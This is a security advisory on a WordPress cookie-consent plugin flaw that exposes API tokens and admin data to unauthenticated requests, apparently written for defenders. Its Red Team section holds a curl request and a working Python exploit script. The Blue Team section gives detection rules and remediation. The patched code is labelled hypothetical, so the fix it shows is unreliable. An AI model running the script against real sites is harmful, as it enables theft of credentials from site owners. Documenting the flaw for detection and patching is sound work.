CVE-2025-11754

Executive Summary

CVE-2025-11754 is a critical vulnerability in the GDPR Cookie Consent plugin for WordPress (by Webtoffee) affecting all versions up to and including 4.1.2. The flaw resides in the gdpr/v1/settings REST API endpoint, which lacks a proper capability check. This allows unauthenticated attackers to retrieve sensitive plugin configuration data, including API tokens, email addresses, account IDs, and site keys. The CVSS score is 7.5 (High), with a vector emphasizing network-based, low-complexity exploitation without authentication. No public exploit code or nuclei template is available at this time, but the vulnerability is trivial to exploit via a simple HTTP GET request. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx misconfigurations.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The affected component is distributed via the WordPress Plugin Directory. Users should verify they are not running version 4.1.2 or earlier. No supply chain compromise has been reported, but the exposure of API tokens and site keys could lead to downstream attacks on third-party services.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact is driven by the exposure of sensitive credentials and configuration data. The lack of authentication and low complexity make this a high-priority target for automated scanning.

Deep Dive & Mechanics

The vulnerability exists in the WordPress REST API endpoint registered by the GDPR Cookie Consent plugin. The endpoint gdpr/v1/settings is intended to be used by authenticated administrators to retrieve or modify plugin settings. However, the permission_callback argument in the register_rest_route() call is either missing or incorrectly implemented, allowing any unauthenticated user to access the endpoint.

The endpoint returns a JSON object containing:

• api_token: Token for external API integrations
• email: Admin email address
• account_id: Unique account identifier
• site_key: Site-specific key for services like reCAPTCHA

An attacker can simply send a GET request to:

/wp-json/gdpr/v1/settings

and receive the sensitive data in the response.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.1.2):

add_action( 'rest_api_init', function () {
    register_rest_route( 'gdpr/v1', '/settings', array(
        'methods' => 'GET',
        'callback' => 'gdpr_get_settings',
        // Missing 'permission_callback' => '__return_true' or proper check
    ) );
} );

Patched Code (Hypothetical):

add_action( 'rest_api_init', function () {
    register_rest_route( 'gdpr/v1', '/settings', array(
        'methods' => 'GET',
        'callback' => 'gdpr_get_settings',
        'permission_callback' => function () {
            return current_user_can( 'manage_options' );
        }
    ) );
} );

The patched version adds a permission_callback that checks for the manage_options capability, ensuring only administrators can access the endpoint.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with GDPR Cookie Consent plugin <= 4.1.2
• Network access to the site

Exploitation Steps:

1. Identify the target WordPress site.
2. Send a GET request to the vulnerable endpoint:

   curl -X GET https://target-site.com/wp-json/gdpr/v1/settings
   

3. Parse the JSON response to extract sensitive data:

   {
     "api_token": "abc123def456",
     "email": "admin@example.com",
     "account_id": "12345",
     "site_key": "6Lc...xyz"
   }
   

4. Use the extracted API token and site key for further attacks (e.g., API abuse, social engineering).

Automated Exploit Script (Python):

import requests
import sys

def exploit(target_url):
    endpoint = f"{target_url.rstrip('/')}/wp-json/gdpr/v1/settings"
    try:
        response = requests.get(endpoint, timeout=10)
        if response.status_code == 200:
            data = response.json()
            print("[+] Success! Extracted data:")
            print(f"  API Token: {data.get('api_token', 'N/A')}")
            print(f"  Email: {data.get('email', 'N/A')}")
            print(f"  Account ID: {data.get('account_id', 'N/A')}")
            print(f"  Site Key: {data.get('site_key', 'N/A')}")
        else:
            print(f"[-] Failed. HTTP {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /wp-json/gdpr/v1/settings from unauthenticated IPs.
2. Check for unusual API token usage or login attempts from unknown sources.
3. Review plugin settings for any unauthorized changes.

Honeypot Configuration:

• Deploy a fake WordPress site with the vulnerable plugin to capture attacker behavior.
• Log all requests to the vulnerable endpoint and alert on any access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /wp-json/gdpr/v1/settings
  • User-Agent strings commonly used by automated scanners (e.g., curl, python-requests, Go-http-client)
• File IOCs:
  • Plugin file: /wp-content/plugins/gdpr-cookie-consent/gdpr-cookie-consent.php (version <= 4.1.2)
• Behavioral IOCs:
  • Unauthorized access to plugin settings via REST API
  • Sudden changes in API token usage or email communications

Detection Engineering

YARA Rule

rule CVE_2025_11754_GDPR_Cookie_Consent {
    meta:
        description = "Detects exploitation attempts of CVE-2025-11754 in GDPR Cookie Consent plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11754"
    strings:
        $endpoint = "/wp-json/gdpr/v1/settings"
        $plugin_path = "gdpr-cookie-consent"
        $sensitive_data = /"api_token"\s*:\s*"[^"]+"/
    condition:
        $endpoint or ($plugin_path and $sensitive_data)
}

Sigma Rule

title: CVE-2025-11754 - Unauthenticated Access to GDPR Cookie Consent Settings
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to the vulnerable REST API endpoint of GDPR Cookie Consent plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-json/gdpr/v1/settings'
    condition: selection
falsepositives:
    - Legitimate admin requests (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11754 - GDPR Cookie Consent Settings Access"; flow:to_server,established; content:"GET"; http_method; content:"/wp-json/gdpr/v1/settings"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Revoke any exposed API tokens and rotate site keys.
3. Change admin email addresses if they were exposed.

Long-term Fix:

• Apply the vendor patch when released (update to version > 4.1.2).
• Implement a Web Application Firewall (WAF) rule to block requests to /wp-json/gdpr/v1/settings from unauthenticated users.
• Regularly audit WordPress plugins for missing capability checks.

Workaround:

• Add a custom filter to the plugin's REST API registration:

  add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
      if ( strpos( $request->get_route(), 'gdpr/v1/settings' ) !== false ) {
          if ( ! current_user_can( 'manage_options' ) ) {
              return new WP_Error( 'rest_forbidden', 'Access denied', array( 'status' => 403 ) );
          }
      }
      return $result;
  }, 10, 3 );
  

Valters IT
DevSecOps & Cyber Threat Intelligence